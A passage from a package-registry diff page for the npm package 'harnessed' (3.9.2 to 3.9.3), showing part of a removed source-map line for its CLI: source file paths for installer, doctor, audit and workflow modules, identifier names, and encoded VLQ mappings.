harnessed 3.9.2 → 3.9.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.mjs.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"sources":["../src/cli/lib/origin-check.ts","../src/installers/lib/harnessedRoot.ts","../src/cli/lib/check-builtin.ts","../src/cli/lib/probe-gstack.ts","../src/manifest/lib/path-guard.ts","../src/types/schemaVersion.ts","../src/manifest/schema/aliases.v1.ts","../src/manifest/aliases.ts","../src/cli/lib/check-deprecations.ts","../src/checkpoint/schema/checkpoint.v1.ts","../src/checkpoint/schema/currentWorkflow.v1.ts","../src/checkpoint/schema/index.ts","../src/checkpoint/template.ts","../src/cli/lib/check-token-budget.ts","../src/cli/lib/checkAgentTeams.ts","../src/cli/lib/check-agent-teams-doctor.ts","../src/cli/lib/check-planning-with-files.ts","../src/cli/lib/check-mattpocock-skills.ts","../src/cli/lib/check-mcp-availability.ts","../src/cli/lib/doctor-registry.ts","../src/checkpoint/state.ts","../src/manifest/schema/known-good.v1.ts","../src/manifest/knownGood.ts","../src/checkpoint/resume.ts","../src/cli/lib/auto-install.ts","../package.json","../src/manifest/errors.ts","../src/manifest/schema/metadata.ts","../src/manifest/schema/installMethods/ccHookAdd.ts","../src/manifest/schema/installMethods/ccPluginMarketplace.ts","../src/manifest/schema/installMethods/gitCloneWithSetup.ts","../src/manifest/schema/installMethods/mcpHttpAdd.ts","../src/manifest/schema/installMethods/mcpStdioAdd.ts","../src/manifest/schema/installMethods/npmCli.ts","../src/manifest/schema/installMethods/npxSkillInstaller.ts","../src/manifest/schema/installMethods/index.ts","../src/manifest/schema/spec.ts","../src/manifest/schema/index.ts","../src/manifest/security.ts","../src/manifest/validate.ts","../src/cli/lib/audit-helpers.ts","../src/cli/audit.ts","../src/i18n/index.ts","../src/cli/audit-log.ts","../src/installers/lib/backup.ts","../src/cli/backup-list.ts","../src/cli/doctor.ts","../src/workflow/schema/discipline.ts","../src/workflow/disciplineLoader.ts","../src/discipline/enforcement/before-commit.ts","../src/checkpoint/engineHook.ts","../src/workflow/run.ts","../src/cli/lib/generateCommands.ts","../src/discipline/enforcement/after-output.ts","../src/discipline/enforcement/before-phase-execute.ts","../src/discipline/enforcement/before-spawn.ts","../src/workflow/governance.ts","../src/workflow/schema/governance.ts","../src/workflow/exprBuilder.ts","../src/workflow/schema/judgment.ts","../src/workflow/judgmentResolver.ts","../src/workflow/lib/promiseExtract.ts","../src/workflow/lib/fallbackHandlers.ts","../src/workflow/lib/ralphLoop.ts","../src/workflow/lib/completionSchema.ts","../src/workflow/lib/sdkReconcile.ts","../src/workflow/lib/sdkSpawn.ts","../src/workflow/interpolate.ts","../src/workflow/schema/phases.ts","../src/workflow/schema/workflow.ts","../src/workflow/schema/workflow.v2.ts","../src/workflow/loadPhases.ts","../src/workflow/masterOrchestrator-helpers.ts","../src/workflow/masterOrchestrator.ts","../src/cli/lib/packagePath.ts","../src/cli/lib/extract-user-overrides.ts","../src/cli/run.ts","../src/cli/execute-task.ts","../src/cli/gc.ts","../src/installers/lib/confirm.ts","../src/installers/lib/diff.ts","../src/installers/lib/err.ts","../src/installers/lib/preflight.ts","../src/installers/lib/state.ts","../src/installers/ccHookAdd.ts","../src/installers/lib/readClaudeConfig.ts","../src/installers/lib/runClaudeArgs.ts","../src/installers/lib/safeCwd.ts","../src/installers/ccPluginMarketplace.ts","../src/installers/lib/spawn.ts","../src/installers/gitCloneWithSetup.ts","../src/installers/mcpHttpAdd.ts","../src/installers/mcpStdioAdd.ts","../src/installers/npmCli.ts","../src/installers/npxSkillInstaller.ts","../src/installers/index.ts","../src/cli/install.ts","../src/cli/install-base.ts","../src/cli/manifest-add.ts","../src/cli/research.ts","../src/cli/resume.ts","../src/cli/rollback.ts","../src/cli/lib/capabilityResolver.ts","../src/cli/lib/enableAgentTeamsInSettings.ts","../src/cli/lib/enableUserLangInSettings.ts","../src/cli/lib/renderSkillTemplates.ts","../src/cli/lib/setup-helpers.ts","../src/cli/lib/scan-nested.ts","../src/cli/setup.ts","../src/cli/status.ts","../src/cli/uninstall.ts","../src/uninstallers/lib/runOrPreview.ts","../src/uninstallers/ccHookAdd.ts","../src/uninstallers/ccPluginMarketplace.ts","../src/uninstallers/gitCloneWithSetup.ts","../src/uninstallers/mcpHttpAdd.ts","../src/uninstallers/mcpStdioAdd.ts","../src/uninstallers/npmCli.ts","../src/uninstallers/npxSkillInstaller.ts","../src/uninstallers/index.ts","../src/cli.ts"],"names":["join","homedir","readFile","spawnSync","Type","existsSync","readFileSync","Value","mkdirSync","dirname","t","resolve","readdir","REMEDIATION","INSTALL_COMMANDS","settingsPath","checkOrigin","probeGstackPrefix","mkdir","writeFile","_cache","parse","p3","err","GIT_REF_PATTERN","p","program","backup","basename","parseYaml","fileExists","nodeReadFileSync","spawn","ModelTier","OnAction","readline","pathResolve","fileURLToPath","stat","PACKAGE_ROOT","WORKFLOWS_DIR","execSync","ans","statePath","stdout","p2","resolveAlias","getPinnedVersion","writeFileSync","runResume","createHash","readdirSync","rename","safeIntlLocale","createFreshSettings","backupOriginal","atomicWrite","PHASE_21","listBaseManifests","runAutoInstall","lockfile","extractCloneTarget","rm","extractSkillName","p4"],"mappings":"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